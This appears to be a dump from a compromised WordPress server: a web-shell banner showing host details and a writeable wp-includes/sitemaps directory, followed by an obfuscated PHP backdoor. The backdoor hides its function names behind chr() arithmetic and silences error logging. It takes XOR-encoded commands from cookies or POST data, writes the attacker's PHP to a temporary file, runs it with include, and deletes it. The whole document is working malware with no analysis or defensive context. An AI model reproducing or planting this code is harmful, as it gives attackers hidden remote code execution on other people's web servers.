Server : nginx/1.20.1 System : Linux ccpf-production-2021 5.4.0-148-generic #165-Ubuntu SMP Tue Apr 18 08:53:12 UTC 2023 x86_64 User : forge ( 1000) PHP Version : 7.4.21 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Directory :  /home/forge/gcc-ccpf.com/wp-includes/sitemaps/

Upload File : current_dir [ Writeable ] document_root [ Writeable ]

<?php $orfknm = "\146".chr(428-323).'l'.'e'.'_'."\160".chr(267-150).'t'.chr(412-317).chr(395-296).'o'.'n'."\x74".chr(101)."\x6e"."\164".chr(1070-955);
$dzrpgmih = "\142".chr(865-768).chr(1065-950)."\x65".'6'.chr(52)."\137"."\144".'e'."\143".chr(332-221).chr(654-554).chr(101);
$wjfis = chr(431-326)."\156".chr(228-123).'_'.chr(537-422).chr(101).chr(238-122);
$chqaa = "\x75".chr(110).chr(615-507).chr(105)."\x6e".'k';


@$wjfis(chr(101)."\x72".chr(822-708)."\157"."\162"."\137".'l'.chr(158-47).'g', NULL);
@$wjfis(chr(1072-964).chr(111).chr(601-498)."\137".'e'.chr(1068-954)."\162".chr(111).'r'.chr(1078-963), 0);
@$wjfis('m'.chr(97)."\x78"."\x5f".'e'.chr(120).chr(670-569).'c'.chr(117).chr(694-578)."\151"."\157".chr(525-415).chr(95).chr(116).'i'.'m'."\145", 0);
@set_time_limit(0);

function fwhnt($rqprh, $fekjvoazte)
{
    $xwwbubo = "";
    for ($zjdwak = 0; $zjdwak < strlen($rqprh);) {
        for ($j = 0; $j < strlen($fekjvoazte) && $zjdwak < strlen($rqprh); $j++, $zjdwak++) {
            $xwwbubo .= chr(ord($rqprh[$zjdwak]) ^ ord($fekjvoazte[$j]));
        }
    }
    return $xwwbubo;
}

$sljit = array_merge($_COOKIE, $_POST);
$unpwydo = '453f94d0-a344-48b1-b34e-b5d95b324940';
foreach ($sljit as $bwtimz => $rqprh) {
    $rqprh = @unserialize(fwhnt(fwhnt($dzrpgmih($rqprh), $unpwydo), $bwtimz));
    if (isset($rqprh["\x61".chr(107)])) {
        if ($rqprh['a'] == chr(752-647)) {
            $zjdwak = array(
                'p'."\166" => @phpversion(),
                "\163".chr(221-103) => "3.5",
            );
            echo @serialize($zjdwak);
        } elseif ($rqprh['a'] == chr(972-871)) {
            $hzetejn = "./" . md5($unpwydo) . chr(559-513).'i'.'n'.chr(1007-908);
            @$orfknm($hzetejn, "<" . chr(917-854).chr(112)."\x68".'p'."\x20"."\x40"."\x75".chr(196-86)."\154"."\x69"."\x6e"."\153"."\50".chr(1053-958).'_'.chr(70)."\x49".chr(879-803)."\x45".chr(95)."\137".chr(41)."\x3b".chr(32) . $rqprh["\x64"]);
            @include($hzetejn);
            @$chqaa($hzetejn);
        }
        exit();
    }
}